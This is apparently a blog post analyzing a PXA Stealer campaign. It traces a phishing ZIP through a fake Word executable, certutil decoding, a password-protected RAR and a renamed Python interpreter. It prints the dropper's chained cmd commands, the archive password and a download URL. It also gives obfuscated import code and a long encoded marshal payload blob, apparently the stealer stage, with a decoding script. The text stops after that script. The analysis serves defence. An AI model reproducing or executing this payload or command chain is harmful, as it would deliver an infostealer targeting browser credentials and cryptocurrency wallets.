Contents

A deep dive into the PXA Stealer

Executive Summary

I recently analyzed a malware campaign employing a “Bring Your Own Interpreter” (BYOI) technique to bypass static detection using Python bytecode. The attack utilizes a archive to drop a legitimate, renamed Python 3.10 interpreter alongside a heavily obfuscated malicious script that contains bytecode. I discovered a unique obfuscation packer sold on social media platforms, designed to break standard decompilation tools by inflating bytecode size and inserting junk control flows. The final payload acts as an infostealer, PXA stealer to be more precise, targeting browser data and cryptocurrency wallets, with exfiltration via Telegram.

Initial access: The phishing lure

The infection begins with a phishing email containing a very large ZIP archive (132M). The bait pretends to be a legal or investigation document, specifically named Evidence contained in the investigation dossier.zip. The file is downloaded from hxxps://tr.ee/JQt3ks which was resolving at the time to https://pa.alliedworld.co.za/dowload.php?id=e5f53b7c3b.

Once decompressed, the archive creates many files on the system but most of them are hidden. Only Evidence contained in the investigation dossier.exe is visible.

We can notice that the Evidence contained in the investigation dossier file is an EXE file with the Word thumbnail.

We notice the - directory, that is hidden too. Inside of the directory, we can see the following files:

Stage 1, the fake Word document

Our first payload is the “Word Document” which is a C++ executable:

Following the execution of our disguised C++ executable, a legitimate Word Document will open:

But nothing suspicious here.

Upon the execution, the malicious executable is relying on the Microsoft signed DLL, so my guess is the attacker wanted the program to run on any Windows Machine without errors.

Following the detonation, a cmd.exe is spawned with a bunch of chained commands:

cmd /c cd - && start Google-Ads-Playbook.docx && certutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf && "부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public && del /s /q Invoice.pdf && del /s /q "부가가치세 영수증.jpg" && del /s /q "증거 보고서 - DA 성형외과.docx" && cd C:\\Users\\Public\\Windows && start svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT && exit
  1. start Google-Ads-Playbook.docx: starts Google-Ads-Playbook.docx, a real legitimate Word document
  2. certutil -decode "DA 성형외과 재무 보고서.pdf" Invoice.pdf: decode the file DA 성형외과 재무 보고서.pdf from the base64 into Invoice.pdf
  3. "부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public: 부가가치세 영수증.jpg is the WinRAR executable and it decompress Invoice.pdf with a password inside the C:\\Users\\Public folder
  4. del /s /q Invoice.pdf, del /s /q "부가가치세 영수증.jpg", del /s /q "증거 보고서 - DA 성형외과.docx": delete all these files
  5. cd C:\\Users\\Public\\Windows: Go to this directory
  6. start svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT: start svchost.exewhich is the Python interpreter and execute the py.ico source file with the argument MRB_2_NEW_VER_BOT

The different files inside the - directory are only used during this stage of the infection. It leads us to the second stage of the delivery: the RAR file.

Stage 2, certutil.exe

The legitimate binary certutil.exe is used to convert a base64 certificate into a binary file. In this case, it decodes the file DA 성형외과 재무 보고서.pdf from the base64 into Invoice.pdf. DA 성형외과 재무 보고서.pdf look like this:

We can convert it from the base64 in Cyberchef:

Once converted from the base64, it’s decompressed with the password iJbcsRBR84uUl9USIhj09PH0elalyHPJ inside the C:\Users\Public directory:

"부가가치세 영수증.jpg" x -ibck -y -piJbcsRBR84uUl9USIhj09PH0elalyHPJ Invoice.pdf C:\\Users\\Public

This extracts several Python dependencies, including a legitimate Python 3.10 interpreter renamed svchost.exe and a malicious Python script named py.ico.

Inside of this directory, we can see legitimate DLLs and the Python 3.10 interpreter renamed svchost.exe:

The details on the Python interpreter:

Stage 3, payload analysis of svchost.exe the snake

Following the infection chain, the next command is the payload detonation:

start svchost.exe DLLs\\py.ico MRB_2_NEW_VER_BOT && exit

Which execute the Python file py.ico with the argument MRB_2_NEW_VER_BOT.

The file was not flagged as malicious during the analysis.

The analysis leads us to the py.ico file which look like this (yes I know it’s disgusting…):

My first reflex was to replace the exec by print to see what would have been executed, but I got a little surprise:

Yeah thank you lol

Inside the py.ico file lies a Python 3.10 bytecode, which can be executed only with a Python 3.10 interpreter.

We can break the python script into different parts to be more understandable:

And once deobfuscated, we can grab the original imports:

"""marshal"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([(24^123),(246^158),0b1110010])](_[1]) for _ in sorted([((1<<2)+(1<<1),((0x6c)^0)+0*1),((1<<1)+(1<<0),((0x73)^0)+0*1),((1<<1),((0x72)^0)+0*1),((1<<2)+(1<<0),((0x61)^0)+0*1),(0,((0x6d)^0)+0*1),((1<<0),((0x61)^0)+0*1),((1<<2),((0x68)^0)+0*1)]))


"""zlib"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,(11+93),(230^148)])](_[1])for _ in sorted([((1<<1)+(1<<0),((0x62)^0)+0*1),(0,((0x7a)^0)+0*1),((1<<0),((0x6c)^0)+0*1),((1<<1),((0x69)^0)+0*1)]))

"""decompress"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([(76^47),(71+33),0b1110010])](_[1]) for _ in sorted([((1<<2),((0x6d)^0)+0*1),((1<<2)+(1<<1),((0x72)^0)+0*1),((1<<0),((0x65)^0)+0*1),((1<<2)+(1<<0),((0x70)^0)+0*1),(0,((0x64)^0)+0*1),((1<<3)+(1<<0),((0x73)^0)+0*1),((1<<1)+(1<<0),((0x6f)^0)+0*1),((1<<1),((0x63)^0)+0*1),((1<<2)+(1<<1)+(1<<0),((0x65)^0)+0*1),((1<<3),((0x73)^0)+0*1)]))


"""loads"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,(83^59),((57<<1)+0)])](_[1]) for _ in sorted([((1<<1),((0x61)^0)+0*1),((1<<0),((0x6f)^0)+0*1),((1<<2),((0x73)^0)+0*1),(0,((0x6c)^0)+0*1),((1<<1)+(1<<0),((0x64)^0)+0*1)]))


"""base85decode"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([((49<<1)+1),(247^159),0x72])](_[1]) for _ in sorted([((1<<2)+(1<<1),((0x6f)^0)+0*1),((1<<1)+(1<<0),((0x64)^0)+0*1),((1<<0),((0x38)^0)+0*1),((1<<1),((0x35)^0)+0*1),((1<<3),((0x65)^0)+0*1),((1<<2)+(1<<0),((0x63)^0)+0*1),((1<<2),((0x65)^0)+0*1),((1<<2)+(1<<1)+(1<<0),((0x64)^0)+0*1),(0,((0x62)^0)+0*1)]))


"""base64"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,0b1101000,(232^154)])](_[1]) for _ in sorted([((1<<1),((0x73)^0)+0*1),((1<<2)+(1<<0),((0x34)^0)+0*1),(0,((0x62)^0)+0*1),((1<<1)+(1<<0),((0x65)^0)+0*1),((1<<0),((0x61)^0)+0*1),((1<<2),((0x36)^0)+0*1)]))


"""bz2"""
''.join(__import__('builtins').__dict__[(lambda L:''.join(map(chr,L)))([0x63,0b1101000,(137^251)])](_[1]) for _ in sorted([((1<<0),((0x7a)^0)+0*1),(0,((0x62)^0)+0*1),((1<<1),((0x32)^0)+0*1)]))

Which gives us in the end;

exec(getattr(__import__(marshall),loads)(getattr(__import__(zlib),decompress)(getattr(__import__(bz2),decompress)(getattr(__import__(base64),b85decode)(b'LRx4!F+o`-Q(0T(^{W7Paex2+|NsC0|NsC0|NsC0|NsC0|N..........."

Here is a simple script that decode the bytecode and take it back to a .pyc file :

Hint

Normally, Python doesn’t execute your source code (.py) directly line-by-line. Instead:

  1. It compiles your readable code into bytecode (a low-level set of instructions that the Python Virtual Machine understands).
  2. These instructions are often saved in a .pyc file (inside the __pycache__ folder) to speed up future launches.
  3. The Python Virtual Machine reads these instructions (LOAD_NAME, POP_TOP, Binary_ADD) and executes them.
import marshal, zlib, bz2, base64
import importlib, dis

# decode and decompress
code_bytes = zlib.decompress(bz2.decompress(base64.b85decode(b"LRx4!F+o`-Q(0T(^{W7Paex2+|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsBs7XH0GG@8Ax?A_bj;Jx?VcWvFyyS07I?R#ynd^^$QZI`=o_g@U}y{oUi-c{~4O6>SSyWd*9-uQQ3-!<XhyWL|>Dk-Lj%?6B<YH5OGo-~-$(^E9YQwgRN^k5O{WH6qQfTq!kZ5m=QfYkjY@FpfrJyY})@@b-NqG_g>O{Rckn@thu)Y$~uk3fSY*r61JG70H4^*sifOqyb5LSQ2yqfaK0rkI*yX|xkfQ~gaaO{B#$DsL&_GB$=&000_H0(t{NWXY;~6Cs4tQ(#JL42GI$(^T_A6$qqFN2%m!Q`6MUk(1I-OloP9XbGm9Qa@7@CV<n>$O(-yOeWJMKh#FkOqxxk$a<67rrIVZhp5SuDTb${^z|`J&^=6ynKUNJJSLN5$k0zsCYXUzCWcHxdL{ujfN7?UG6n@bG)<7vph@Iln2ZXagvn3BFa(&@H>L@c)bmCrnN#sigv7~;dNiJfQ_4I5RQyw6G@759YL8RRMw7(RLM06WJqhTilLJ)DRQ8%Qnl(J9k&^<L(<W&cC!#dTrqpU@sisXbYIuOrpqhGWdTM%U=%X}gqacq^@F;$XqbZu6f@Y>=H1$1CQzOvSc^ZwAO&}tYBAAUMKxoj~ngO*9s2QlpGH5b1dW|&DVm&9Q0C_<4OeRK8P+}gTqfIgfk5FhHrqlpwlT82s0D6FAGyu>8#<guq%bD%+MDe>fX3@aNEq~p=gxDd&S6-Uh=VWkXlaXPD1BOvrTLP;5pkk;GU}<JFr^KnB4o)*Xc25ngE|VinGPUmJQ_VxJrUbtkKQeiCJX8++oJ`SRpu&xnzpO0R&SUIzHGV9er{s3OxqlAuGK;rzJa^=RI^mDYW_o=M?OCvj+3rsyF#m_BmTP~43hs?hKcU#QY=fpSv3J3Gr$_V07zOi9V5m_<pA}NCo{?X9KcxHyCJ<e8ZGLy5sV%(dRw!Ck2uW$}GZx83Gn5L1;hA;rFJu3%lbmCQJcE<)0Nxf@E(Pl|+RjLNr3ma2{LIn}`Td(t&11I0WrT%phD*-6e}P*Y#Cg@QUCT~F(VdZ<95-GE>|#xY_q73ax6cR{YnF2yo#jlpZLwd+g%lKx)oMd=Ebtu%_#$K0a|VQ%lVa*~8&Qmb#tIOQ%&3q6s&JV)VyN~Zw9vrBR`;;;R!}I&DyG8&JOiH?dO*^RMVYCP82>8G6F&&6D$vI43V7SzZ>1AaVSJ<g^>eqmBwOIuUx4|AC~?h_>l#ddxyu*pV#SH|X#(cWP9eE~VYD89A(tZ@?%v%?K`LF*hGMfQp$gQufibY4+6DjsIBWli31BJ{1^D3d^QnqUac)<8!B7KZWhx#A<YRD+c-4}jUVB{$U2r^F1)WP|>B=(j&+Y;GaA1R(#yv0fY%f8%^_Kzw$lhuD1hWQMhd3?kJyBe*bXt6L|045jq%1>$FS6!oFLAcr-vA5xx!%%Hl!aP$_lBd_wqn>b{@T-_)3_6+{?-|9<ob2I7&?VoyQ{Kr&wBb!Q_(Si*fjc};H>5QZQ$)<8Scj78&hL&vw9$#-ruoPl5o_FNDz{18IL%~$5^cPewY=P*sF3FNNHgRYycJU>-lzjERs<`6=xDqAKl}kwP04OMG@=E)dAWpSUO`fZVNB32VY3<@%dfqtk*sDE&ATnc^LgB%%XU-Mga9YB-;(My^f`9GL4j6RL=vDv{3!+p`=sb{5L)qDHM1VE?Zzo`Lx6i5*Ru=1}rjcTh#?6EI4Cv|GI4O5NYoo?P`)orH9f~Erf4ZAzGA6A6A-$qEa~T3tkG_$Z@0I{`M==|K|~zQyYXKc6!U2G!}k+l$*ZfA0WZe-p{`E%8T4-Emc%}=-X?K)iYTE-=9uUH}nr;W=P`xgxf%g+ni(UFHUc1S%bkH2%4?+Zst#ZUtZu4-ELtowKJfU?__JEYwq4SpIps&lJWI%NPJ`_I<)NV9R`6#Q3;9LD-ud<PFWU@c+HY_wPp64&i|RS{1`@pQR1qFnpFa2t8E3C0c>2SL}0fP<kD|}+#QI!qCQe4qqAYozT{&UT<nI64$Y7_A>7n%cryG|_suZo88}X}7XlDz!2qnQp6v${=i*co5vtJUfxPBJOnTSNRuHd1L$vn1C-rTsa2!xa7t90W^>WL3;Hsbr;SylY{lEgjV>y%fp^od8!TNbit*=gJ?T=bL$0!uEy0l}QAHH<MpG01#Yh_R#7H_Kto876S88uW{aAdZvj0;`_gs|evzM|b2YfHjHR~xWkK3`AEuT1k6J_MJNJCjC-73wAyTIsYR1J2sYkRE$qC@D9>W--#a$`7BPs?fewgSa5<u#jnd=>F?uJB*kt7cx?IHE8IWK;Rh42e<*rctZiTRo&KHY>z__J8x4%(Oy=_#_KwwWvS-iebM=x>HxG2o4Y9+4w&nS8qv$?nYz4x3|%UzhX3OB?>lVcN{$Cu*C!Z(azQ+uhcX%JrD`3|Qo#TgFat!$vdv5&;XJD=Bf~jO!(%oYR25Y-&<Kuh1yxngLMSMogb0Fw9aJDF%?co<V38=49YwZ+l3f<(9wmM{a*U-aGf^g`riF;Oh^nh&3W9(c_ytrFXb}YfA`}n+h*bn=LI?;1(5MI?N)%KS^l!B@2pY<rvggdz5LKnA1{3iV314N++w5;o%!_X4zU$l+9(q=WC#ZpWEGerlMyZwWU9-2o!<B?@Ypp^r$lW@cnS<hU^Pf#D(8z17nbPb@XvctElxF3$maiB9eM%-3>l$aHkJYfcnY<>B(g2tM-qj*{Hj{<~UNcD5byES9#O~<yo=%snoFog4ucv@JGj49!JHjF~aAe56lw)Z4B1c}e(8<}o_kbINDWw-_Se>3UAbPmJ;=d-so2-7$aA{gb+^?*jqb(VtHw1>jR4a(I1YR*Mdv@A6z*WOrfc+1dyP(O0J2#*ET(aX=wP|~7)aqHL+dneaY3)gHLEEbGGM(kR>sfo-1zjhE4@{(9&=o4XGjXf!q~}GaRje>|R}m&uZhK$D{?Fi*I`y4mleQ~9X^c@>u_x5$lczp(M;sTds%X&qX>n>@9ZkQ3pAcATA|PAUu2SY9S%z?%nw>D+d!;Jfyx|6HAA@S&mt^c@6JSCs15cl}$(ZZq#$&MLYissa$L^Z2;Y<7KvAwMO%%incvCI;Nxo4}MFCYd3IE-F9n9VK2<>0D5Y5?uG7SQ|}L)=Gp$+beo^tDnBQ+w8*Zr0J}@P5TD;1dQSX;3aEg-Ty8{jrZ7PO0mZB<LJAk)S&aRrbj^0X@@babR&d```1OZn3-lB9rpgr=31l9!GA^W(fx;$wWWx<}0pRc%&==rMG!_<CY}<jtGc_uVg6hBfBkgoo1VG2ySaVv5o7H4Y2zIo_0zc*z8AYCf?5LnS=63RKb3s<H-0la=I(%tUF_bRPIP|+xm#z>}i08MYi#y0p1(HOSzi~a#~3-mK`_~bTX@o!)UN1kNOQRxnNAhEsbbgfavGp0Tr)(6MgXSJ-n_zl0e|ppqq;BpEgm*K{k^`s6pyeh-_5}$=FzEX=gtyqpbbsz`kSgoXeL=4AGK21t^;^&n?xs-@feROU55{_AE|IXQcP+`^esK)smuAAN-YiHS3brl!Tg4Z&{X*A=I9HfAM}v?<sPLIZ;|@FmGXZRSSnC0${JA8WiyQKJkf@ipR$WPokXkstMp8>eZ?t5VQVr&HmFsf;*=vYuIP;Wu=Pd%#tV5<;g--Zj5_m?NSN~8vg<>^xBOkQ(o2%9v^(|Bhuk@zRg4S@R90;r2CfV#P>VqGeN2q{{N`_$RO_3LFHO&S$YO^M!_m$ou1c+qZN!l-F^k?%Y?7Wpl440=fcUDBG#_axzq)*uht`|`psMO{IpMiwpw3%eW)`4hqDb!cqVV{$SvFNnxlbK2G8Eh7)aPB8%oTpo;0_TvGq5&b*~0>4fr~(8j%5D5L7sduCphOJzmsoLH)xKWQ?wF5>FlQ8q;LkN<UeVl@f`MYAr;2FW?3WZA%Dql)-X@3&?-6TB~qo2&;+u&!>jem5XL&uVL2U{P}Tn$S;-Q!M>a6eP5YnwIcyY^s1rFQmB3$ah8a-gTbV9Kj7iuc}S_?PUeq)eW{YR(>p8K-tBUuzsk6tKk7F`N!3k0>?YTTYkSp`oK+Qn1nMcrsp?Qp=gD5c0<=Rq(LPpV7bQfU239YkFpM98Fb~}{_4F+|ckbsh6Xa;*{Gf!<ixXCy`ReGA?>ur{M+<_{BV*YKxY5ukh!?Jga(Si>KI#0Wp0_*TKDZ1AaxJgMcy7xI&eyDmmfZjjhsd1zL{aWyyCLD1)0Mi2iu?!FVgpm0<01R(A5yw&`=oa~+-cRJW;^lEmqI1Dn*Z~w#9Som#=iMEQf)>z#OEOD4JN`*A^V7NcTIHxz}Of{BG(gmjZ_@s1v(JbiElVaW8f~6VZZJa{5r;$vdzk`L=F8i&<p-eMVOy;Yb$x^F%w8{1kx!19W;DgT-xsGlt9@ejdupx74FMCI;ngK>CBeoe_=`gP9}+JBRG~VgK{+Q-#q2mc}P{k8Xq-1vY8|w{eM<@k-3VXGCU3cH6{EH>)wdxLcyJ$i-DcGv9$uBQg)V0=8JysO{vY>pFBp@)dlNoT73N!UfXdE@Zr*W>4t1c?-xE{X<G6>5Bqx=iYTx6hT3NSE*NAi>|EuIDwtwnfvdq`L|Z;++U!2ZGKKEJ>bYvCWSh$z=*dmduA4ud)W_E%j<Mk{((w79n+#I-pYfDV^o*apjmu)5Nh^HDQ?r4qe6Y`fgAkE;mZ>&WQ&JR!i3;|x8b0r8qw4Tmr1we&s8Od22K1=K#*~Pdi#f?1-p&16>MJvqCTk~p$#fW=!&bA?<_9z5$w34Mmw^FL2!KEynh-=mmL?-pDKNnrnN9*AphO4)1BHb^P?`Z1MP&ehfha)%P;VD`1EcFdO$Nn(^|spzCqI-*#22rA6k)frY*DRi{Vgi7@C7W^o$X5}3aUzLfYU)V!{)1aJ@2RL@X-@WsnZBd5*t?Rnt3Fogv!GB4QE%TbGU||WUlLYOdAXO-_Pp73;>v_Y^p&5V>G?*d<15WdUxj5yc67XD{%ocAi%R()J&(lx_mB%e#<%GEkO98MgWHz;-R_B&UGig4x{?z*dh=O0dOa?+F>aR!7Z6#+#@U69R8MO98HNIvTGNdWu+OG4G1I{iXD=kvijuv>}Pmvn#kM11Dd~bTl2r}5CVRvFuQmg2nYapfXVkzZBGeB`y4&2Fgd?WnGKllynz>i5`k~n?l3JSl7@w5*XL6nwvZ508hx=pA0&UBUL#*EAfqEPae*a&WkOQCOm)C)&v1m4f2ePa3gFQAL1(&J6((f;%`%^b|G!MUifDyxSnr<5HGFKbCgdl`Jg0EfL!Huf<)CnlDZd0T-zpPZms8gaU*A|y3x`9EuL;A$$K+E{^1ZljNe-|OSsOPO6?`fFeRW?cK?ieNq@Vq*nT(g0!y$?TPR+@7HKRp{c34m)s*d}#e9O8@2-hnShC=Xc_nW{9T|z#gP!m}W;mWUd9>a6y9Sy%b2&V|ZEcpIYEWKvo&9vg>0bqrG7lruBtXjPPe+2c>_H@y=b)efR0hewT{8^SEReQcL+Q}a-ZG~f33Kv`G0_SRMD_fak*GNVTsvnlh^CzztXlz}vrsQ;f@UlI3%HbeVP?hbn@E;_8si&9NsFyN6Df{fq32uLjlI1?p^$RFIa@YJ-be`~6v6$}m4#-hab{~3SIVGp|K+<9cvP^Ou9)6#1Aj||r@5qmufHv>Zr6Bt}*{dZMyzS4Gh0s9Ndoe0_*!mrD1UU;Sxntv|)@)Fwr*R)cAXptTtHOGz{{}~_x!#G9pX9PL8gaX=D=#geKkFt<eMu;>-b$~NlP@{w;0C=Xt_Q=9?obX210&;FQ(im<ZaRt3`q1|($=SiCD9`_dMRpj;w`?=L8(-Mw6C9^TzzT-$JDsOa_PTYwx0`+%jyWor9ggg;7>bor--JF!1c_`njg~A|$+4v>ylnzX&GD*vvX^#BRojZ#@4|}r!Wt89#TtJPI!fKCJ4MwmRR!|8-h-UsF*@7$krmUdnh*7!H7@+f_H)5kw@iJKB&Rc-5d*&TCQx?QL%6gTi;~pTNPh1y_QWtv;URnP1$OgcgNX|x6K5?WwKGzfC3^`+N@Q(Dc<if1-mHG)OdD_YDJ>KH1`WnqeZ$O_oWXp3dG<to<`lzvU1J`!e+x9{16Jb@BBa1)=BVL};mhF%QROND(v8V0z%4d~eg9yDT^9}98@fC$=G4VkI{To?Xptj_yS4d_j2xP(!+#k7Yiu!oQvSoM)}nh@(0pPhVz6h7+btXjB0++VWhz`S1Vh~ma_w1mI}gMtCg&A7bs%Etw;b9o6hKf%&VT>}2Xz3d*fDMGf+87;*`+lAD1d;G0)irCU<FiGP$HlKLIqR-bWjM28aO}^N=O7kga87hLLh=Qa3H7&%x%@!3ESifb}d)C%ZqZgVp8t8Ws(da3;wyT5ZBk^eC-aQrYsgsH*Ywa795HNr3CaVE$>`-7cl@1@sVt(4~X|@C$yC^F!7<(ES{2~ZtWjDR^<uY6<cI4@*tc1I)Y~h(3BO4B@s@>PFK{{=;+*H`u>Ie?IdMVD`M3BWCGCP&s(fKrDscHbvbhi+kXT8K!DWQ`G&qYT=ND?EU~q9o9s1Y?n^V98vax3rtS~yyGnWzkIdNVxO`YzH>r3vDr`7@hqKhjehCfvC~zhAmyn~yskaxc(~2f-K;zKp|E3Sd#ei&w$oer3Qy`QRbiEQOmbJR4`@K>gERd>rBv2SBB5r#BkM*uKqumP%uE+$Te?y68o_8P72j8oecT8()?8k?j*oYVyz)@B2HV5+b96lE?ljrXoUn$nr*wpjV`{G~IFooaSY(9adJ-Y9rstYv*MTs#_LdP4sL1{*R8t0Ic)OHVw=0AAOz1DiOqDHJR(8H8JACEJ3%q^sVUdCR2mp}8xN*QR!bDF*WsV7uGQH3JgMhdFLi~-o1ehqhs@waTyQTt~*1;3N-TfO<D2i2TmXq6^4>o-NBe6SzD>!etH$7vfBR})gW7HK@>tytCzPem}DtLB=-$0xB&o%?Vs3}Wkp8U3eqCpe<$VMnZ-ySjxyk43(MF!=w-7F{6@34n#GCYzJo%Q82-0dF6+j5_0s?nRoSQze>k%qxSn<OiMMO(s%AAUeHfcoBK|?G)G2S~~LGbsYB*r2UdVL}A+0H4U!NdGxiHDQ#%wPS1`y-=U)EeZrFUBZ~2iV<onfe%8~#Xm8#l)7EjRV|R?Hd*T(HqhIii_Z|tDGAIfk7__Vx?PgS7*k9oRlskVl&y3-vh<Uw#6T=!pBpGgvEz(UCqf${MA)39^q?tK{>4-=j2h*UvjB1WqL-9AkNVv-hqoSeppN(7qPAKko4#wPa0Q(}tMxr^hPg?`B&Xz5X1W7*zrGb2C?VenV5O|Lyp-Or_9l+b;t>UBVs*5_}`E=cy)2{CN6IxLRX%qo(Hl!-*E*8d?_*Lf%na5PHyEnj5;yUE7s{WHsdy$hh35e{Ep&~8cr19S-!_128gg({c!@lfsSmkLu<l)f&oKAd~(uZq(L<BUG_Qwq6_%xlc#MgR2oWXucdj*abPTgdD%v#L?9x`+X;U;Z?u^(YfRGGpw{!1PtCo+UesBIUUI;{~`^#?YG@;@crg*aSek1xO9Z-opVnJ(CX5q-FX26gnRQaO~!Snb#nB5H(d%-YPM^CyY{ZRKpjFg#Gi8=C(J!VBokv~+yvbq~4D^==GDljZNUhHQ*&_Pgxt`7MOEy=Gd=yEC{!E@+K+7)E~X8+&P8QmOtwX?$Qpr@wO8z_k|@=2*K)yMXH+&XPd{83ZL!Qt7)|D)Uq_N4tW4WXc@Zy6B=WmIu7BYkz<b_dMP_y<qK~XiFJ?Z_wi^Mkv`+{D)-nAKBK}6e4ds#wfjPn5;knLPVe+)@G;2`J=Kt)E$LJI?oMF9SUW@egW$?+vPN{mMGORn?Ga8>U&4|zHp4A_?d!(Plw|+hDh=wP@H>wWq4_E-nn^XQJX8I&B8Ku*+f%t{oF$*lQBZ5ZEQ1lSYQcYuVQ&h3WF-3B2u8+Jr9nHm~!uT-wDNN%^yKhDSid*u}M^s@Mv2IHJfV;8n~DM2hl@NXIG&`*<rs~g!(^S&?G*Yurb%Uej^(^g0VtD*Ds5q<5IKW?5&rTRWtF^t&Jo<8%nOp<aAn`ioSyPO!hh;aA+IfbXbt&xTY{et~j3WL3Zmh^d2TkI6sDuyHxyYHcvWD1#znlUSy`yQmhOd0q=WWRyHumZFHf2kw}#=0)j9dikpvbduUZ_>3pu6>@RKALQF9bk6r{u^Mh;`?u(MOR)`=|jXN+DrR8D7M6ZY|Iqrp)vYns?$@72Bx!oT-R`<91w;)=HflC-o%Y*s&*JW;X4=hWLRuk}`xf2?NcqnOaAqN401_04vk;(B|ZZ47Eeh&U((=Q_DWn|y<^ak$@+b>_dV0O-0?P+zlE+Pmj2PX)Kh$b^?A|Qeoh9W?Mq8*$HqKL{A0T3pH6cqzC3aWsF&;klG!k_}sfKyEgK8p!4^Z2^%8*6~}EImy$vanL*jZj?Jp8IqmvPtW~6AI*RNcHv>kJ6Gx^ensnNJ^#p*?4`fQW02UeyG?cFoW|hmg>w}fE(Yaur^ns|MwL0@QuCF{U0Vgl-Ic#);qfZ>q1Rqrf%<K1>{#GRW`wlZ%V8z-P2ft;m|(el5<h{YN*Na>pqz)`?@qSPCU;S+jb<08yd2*h93eUrbPFuRfT;7RB;s;D!^HZ+fJec8c9-Z!}z&S@5~=;HZihMSdti%*R7D|Qo2Hb%3Mup3e_)bQ;Pe?bHxQDrMb6onC{ba)$Qh$<E-1agy|rQ*@n7{lYBTNrdviUIu7*Qw{GFHPScRdijmqMFcj8AJ<UhqJJlz?T6dtjegJ;3_yX1Yt{ragoy`gJ!=iWG(?t=Ng1}bjhw*}D64hO$EMk}5lnJYhZ)h2YiEawcE3P>W$!6Y3med#s<6w=+SaitA2u2rD`oo7eZ_2v_vFh9fS;kVpIlb?Pz-cJAJqpN8U5*B0(l?}I8>dCn85D*hQ-5|f#?g$xiWiw}hK5)1YdYl_v%XPX|1f=7nU=SM-5upkclRrVfjasO;~C`AZiIx`5opyDTRhcq`~DnN1hdGDYkE_>n(3->G)b1N)d_#x_Qr1XYh**XUWHNoIm%@t8A*~{1T$}qm*WZs3?1Hr=uvr9kvjw|%PWBymqCqpgv6%+O-{<);>J5bF5rMgOr92zrdrzdSE)op^mi5G@r`HAtf^Q#n(Whvphx*O!QBA@f!Hkr(9<Ue+I#+|AOn6gY^hA-&4NHMSEQT<DX|8l89>9er7@0Y-8H>`rxv_P>pOo@rEBG!mN|~2A#BClbF?nEjClRNBCnP4f9pka;XpZyBQ=wPtSLNT4Gy;cXeW1f#c8xoB(v&mkeYW8C;pf(6v7>Z*D|fx^b^=5V9t5M==hZUL5_v9?=CsOPCpiH@%SbX|C~M1==YMucPFVVvJ8v?i6^E7^I)Bxa>uqLomDC8gyrFIn|;#9o^7y3a_6PPPwe<ucLQsvz#k<}mmi_aZkGX2P1*!S1stxByjt=TPeBk+1fc+;pv?fN04}otB8ayr7psmAyF2*fc;D9j=6lq|OaZj$OKF})>rH~5xywmAdOFm=8-xW{?JQm7;q3i8_Ma`X_t>h6z2=)xW^Hl(&%4Cfdx_*hy~Jmz-6I>CdT%HfX>aZE_mGQZy|#LkZrE81qpl)~aSEZ}1X+$a<8yjWMBMkI`bF7&{+jp$Z~?2vL0;rIEq9E1+{OGaab(EzQ$?~)nLEdVS4{MwE-}{fpT1{*n=N!v-&Ha<(O3MZn&VGRae^Gd$Fnz3Ha!p*-#RLgRV~GyP_tR3mBg3T!F{=1X#A&;Mw+hgK+Yz$I9*AmV#f_<hooZdhikqn5MCx7i>)OwD)ru-ZMFjA%d5LI8zxJL{nJlT=Qc(yn~-*2Fc8X8p>8zp-Wm)EeYFAjp&g$QGmMdbdf_6<wqxhkAG#@PT_skfgOLIbMe<oS&C`cb@`B+2KMreW*V9bq!C62%NcpI20Y{fDr+f4(@b&VMT|_B^SbKt=kKuP!6i^I$vLqnkq<b(}+qwNOOO(-!5wySSbX4BByCo21Y|7l>iC{ny@sy|m3^mj|g5p)nhU$=w=sgciJ2rzEJ(U8FB~m-DR%ESw3$E0a`}k+LjfRWw95&h#ddMQKc({D3K6Fg^=5@3vIj)i*!fC=(1_1~F1ON>@2#5=Efki=VbN#G2*qs6;0RtsfK`{`Dsxp8@0f<FJK%M~wR7V?CQIx^tZ=6QsOPIPy3(v2LvgLZ}+(l<k*<5BaRdtuG@4&RA=SWYc7ks|Sd75^@q5^OZOG$*Ur^D0U>uvt59$y`=X7yVa0g|~soWX9ZnkqwsuW@7z0-%mR%-v|)o8x!Tr8n-XA48N%^q`3B`$hu1tD$A^R4{a7dffTLzNM;>o^3y4&1&L&8jTuL|KC1Mj${-%fDI~`$GbHO6IWKgrS816g~P}#RVmvr6f*{bFlY|P*i!|FP`P`A8*iG_R%9IJFwA3uRtrXZlutd@=>L8pqGdkvJW0&ib1ssF;AwT{puDF9MTYBvG&hLg1OaXfeYCZ0F8cpX0iea2jJ&WT?4>WOWh4-wr@YR1VgfdmHWw_*qeC3V39eGo_dY7OgNSo>8qOf~@tXB0#svO2yNpQ%X_CU@_@lO9BKcK9q!R{&LP)Uy+L*n#ptZWIX%#+t?oyboWP}0`sb#)n)`DbX#^#_DuL@K>IodpuRiNqu&CY3fETfJ<Av1U^V#4qe!SciS94O<Gq==uxc^$x<-=ING9+1bI-o%={Y@J!UbZ}Zto%M`R(o%LyoRJ?&0mn`cD{;*RytA?~z%W*_Ol@Zt$<BccQP?kMMqtFl-BkmQ&_)o{E+u_i4QZgQjVb~Hig{q~J|gIc3ZWen@lC`*nW;(@aMB!*xdj?e7o*4|J>v;`C>iq$u4@$P_1-IdHqnd%NR=owbrfW8q_h%=PkOr8NTL^l+gP060(&6GNrb8&8SPWf6SZ*dux9^Esd>ZjsQi4?{}bq8MVV_}LwU_fg|s(khz+`DvdS}=1L(G&t~E<yX9{VOpS9lpOl=jf9Vk(%t5Edza1CY79X>bEQ>w*Sjpxg~4~=&N53qQ*;YjQpfM5Jw$rRy2L2sAVtN")))

# load a marshal object
code = marshal.loads(code_bytes)

# put it in a .pyc file
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)

# write the .pyc on the disk
with open("stage4.pyc", "wb") as f:
	f.write(pyc_data)

